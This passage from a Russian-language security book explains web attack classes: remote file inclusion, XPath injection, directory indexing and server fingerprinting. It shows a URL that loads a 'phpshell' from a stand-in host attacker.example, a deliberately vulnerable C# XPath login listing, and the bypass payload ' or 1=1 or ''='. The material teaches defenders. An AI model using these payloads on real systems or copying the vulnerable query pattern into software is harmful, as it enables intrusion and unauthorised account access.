Олег Бойцев - Защити свой компьютер на 100% от вирусов и хакеров

Другие возможности для атаки возникают, когда веб-сервер использует в URL имя подключаемого файла сценариев, но должным образом его не верифицирует. В этом случае злоумышленник может создать на сервере файл и подключить его к выполняемому сценарию. Предположим, веб-приложение работает со ссылками, подобными следующей: http://portal.example/index.php?template=news$body=$_GET['page'].".php".

В ходе обработки этого запроса сценарий index.php подключает сценарий news. php и выполняет указанный в нем код. Злоумышленник может указать в качестве URL http://portal.example/index.php?template=http://attacker. example/phpshell, и сценарий phpshell будет загружен с сервера злоумышленника и выполнен на сервере с правами веб-сервера.

Если на сервере предусмотрена функция сохранения документов пользователя, злоумышленник может предварительно сохранить необходимый сценарий и вызвать его через функцию подключения (http://portal.example/index.php? template=users/uploads/phpshell) или напрямую (http://portal. example/users/uploads/phpshell.php).

Внедрение операторов XPath (XPath Injection). Эти атаки направлены на вебсерверы, создающие запросы на языке XPath на основе данных, вводимых пользователем.

Язык XPath 1.0 разработан для предоставления возможности обращения к частям документа на языке XML. Он может быть использован непосредственно либо в качестве составной части XSLT-преобразования XML-документов или выполнения запросов XQuery.

Синтаксис XPath близок к языку SQL-запросов. Предположим, что существует документ XML, содержащий элементы, соответствующие именам пользователей, каждый из которых содержит три элемента – имя, пароль и номер счета. Следующее выражение на языке XPath позволяет определить номер счета пользователя "jsmith" с паролем "Demo1234":

String(//user[name/text()='jsmith' and

password/text()='Demo1234']/account/text())

Если запросы XPath генерируются во время исполнения на основе пользовательского ввода, у атакующего появляется возможность модифицировать запрос с целью обхода логики работы программы. Для примера предположим, что веб-приложение использует XPath для запросов к документу XML для получения номеров счетов пользователей, чьи имена и пароли были переданы клиентом. Если это приложение внедряет данные пользователя непосредственно в запрос, это приводит к возникновению уязвимости (листинг 1.13).

Листинг 1.13. Код, реализующий уязвимость посредством оператора XPath

XmlDocument XmlDoc = new XmlDocument();

XmlDoc.Load("…");

XPathNavigator nav = XmlDoc.CreateNavigator();

XPathExpression expr =

nav.Compile("string(//user[name/text()='"+TextBox1.Text+"'

and password/text()='"+TextBox2.Text+

"']/account/text())");

String account=Convert.ToString(nav.Evaluate(expr));

if (account=="") {

// name+password pair is not found in the XML document

// login failed.

} else {

// account found -> Login succeeded.

// Proceed into the application.

}

В случае использования подобного кода злоумышленник может внедрить в запрос выражения на языке XPath, например ввести в качестве имени пользователя следующее выражение:

' or 1=1 or ''='

В этом случае запрос всегда будет возвращать счет первого пользователя в документе, поскольку будет выглядеть следующим образом:

string(//user[name/text()='' or 1=1 or ''='' and

password/text()='foobar']/account/text())

В результате злоумышленник получит доступ в систему от имени первого в XML-документе пользователя, не предоставляя имени пользователя и пароля.

Разглашение информации

Атаки данного класса направлены на получение дополнительной информации о веб-приложении. Используя эти уязвимости, злоумышленник может определить используемые дистрибутивы ПО, номера версий клиента и сервера и установленные обновления. В других случаях в утекающей информации может содержаться расположение временных файлов или резервных копий. Во многих ситуациях эти данные не требуются для работы пользователя. Большинство серверов предоставляют доступ к чрезмерному объему данных, однако необходимо минимизировать объем служебной информации. Чем большими знаниями о приложении будет располагать злоумышленник, тем легче ему будет скомпрометировать систему.

Индексирование директорий (Directory Indexing). Предоставление списка файлов в директории представляет собой нормальное поведение веб-сервера, если страница, отображаемая по умолчанию (index.html/home.html/default.htm), отсутствует.

Когда пользователь запрашивает основную страницу сайта, он обычно указывает доменное имя сервера без имени конкретного файла (http://www.example.com). Сервер просматривает основную папку, находит в ней файл, используемый по умолчанию, и на его основе генерирует ответ. Если такой файл отсутствует, в качестве ответа может вернуться список файлов в директории сервера. Этот случай аналогичен выполнению команды ls (UNIX) или dir (Windows) на сервере и форматированию результатов в виде HTML. В этой ситуации злоумышленник может получить доступ к данным, не предназначенным для свободного доступа. Довольно часто администраторы полагаются на «безопасность через сокрытие», предполагая, что раз гиперссылка на документ отсутствует, то он недоступен непосвященным. Современные сканеры уязвимостей, такие как Nikto, могут динамически добавлять файлы и папки к списку сканируемых в зависимости от результатов запросов. Используя содержимое /robots.txt или полученного списка директорий, сканер может найти спрятанное содержимое или другие файлы. Таким образом, внешне безопасное индексирование директорий может привести к утечке важной информации, которая в дальнейшем будет использована для проведения атак на систему.

Используя индексирование директорий, можно получить доступ к следующим данным.

♦ Резервные копии (BAK, OLD или ORIG-файлы).

♦ Временные файлы. Такие файлы должны удаляться сервером автоматически, но иногда остаются доступными.

♦ Спрятанные файлы, название которых начинается с символа ..

♦ Соглашение об именах. Эта информация может помочь предсказать имена файлов или директорий (admin или Admin, back-up или backup).

♦ Список пользователей сервера. Очень часто для каждого пользователя создается папка с именем, основанном на названии учетной записи.

♦ Имена файлов конфигурации (CONF, CFG или CONFIG).

♦ Содержимое серверных сценариев или исполняемых файлов в случае неверно указанных расширений или разрешений.

Могут использоваться три основных сценария получения списка файлов.

♦ Ошибки конфигурации. Подобные проблемы возникают, когда администратор ошибочно указывает в конфигурации сервера эту опцию. Такие ситуации могут возникать при настройке сложных конфигураций, где некоторые папки должны быть доступны для просмотра. С точки зрения злоумышленника, запрос не отличается от указанного раньше. Он просто обращается к директории и анализирует результат. Его не беспокоит, почему сервер ведет себя подобным образом.

♦ Некоторые компоненты веб-сервера позволяют получать список файлов, даже если это не разрешено в конфигурационных файлах. Обычно это возникает в результате ошибок реализации, когда сервер генерирует список файлов при получении определенного запроса.

♦ Базы данных поисковых машин (Google, Wayback machine) могут содержать кэш старых вариантов сервера, включая списки файлов.

Идентификация приложений (Web Server/Application Fingerprinting). Определение версий приложений используется злоумышленником для получения информации об используемых сервером и клиентом операционных системах, веб-северах и браузерах. Кроме того, эта атака может быть направлена на другие компоненты веб-приложения, например службу каталога, сервер баз данных или используемые технологии программирования. Обычно подобные атаки осуществляют, анализируя:

♦ особенности реализации протокола HTTP;

♦ заголовки HTTP-ответов;

♦ используемые сервером расширения файлов (ASP или JSP);

♦ значение cookie (ASPSESSION и т. д.);

♦ сообщения об ошибках;

♦ структуру каталогов и используемое соглашение об именах (Windows/UNIX);

♦ интерфейсы поддержки разработки веб-приложений (Frontpage/WebPublisher);

♦ интерфейсы администрирования сервера (iPlanet/Comanche);

♦ версию операционной системы.

Для определения версий клиентских приложений обычно используется анализ HTTP-запросов (порядок следования заголовков, значение User-agent и т. д.). Однако для этих целей могут применяться и другие техники. Так, например, анализ заголовков почтовых сообщений, созданных с помощью клиента Microsoft Outlook, позволяет определить версию установленного на компьютере браузера Internet Explorer.

Наличие детальной и точной информации об используемых приложениях очень важно для злоумышленника, поскольку реализация многих атак (например, переполнение буфера) специфично для каждого варианта операционной системы или приложения. Кроме того, детальная информация об инфраструктуре позволяет снизить количество ошибок и, как следствие, общий "шум", производимый атакующим. Данный факт отмечен в HTTP RFC 2068, рекомендующим, чтобы значение заголовка Server HTTP-ответа являлось настраиваемым параметром. Пример: сообщения об ошибках – ошибка 404 сервером Apache обозначается фразой Not Found, в то время как IIS 5.0 отвечает сообщением Object Not Found (листинг 1.14).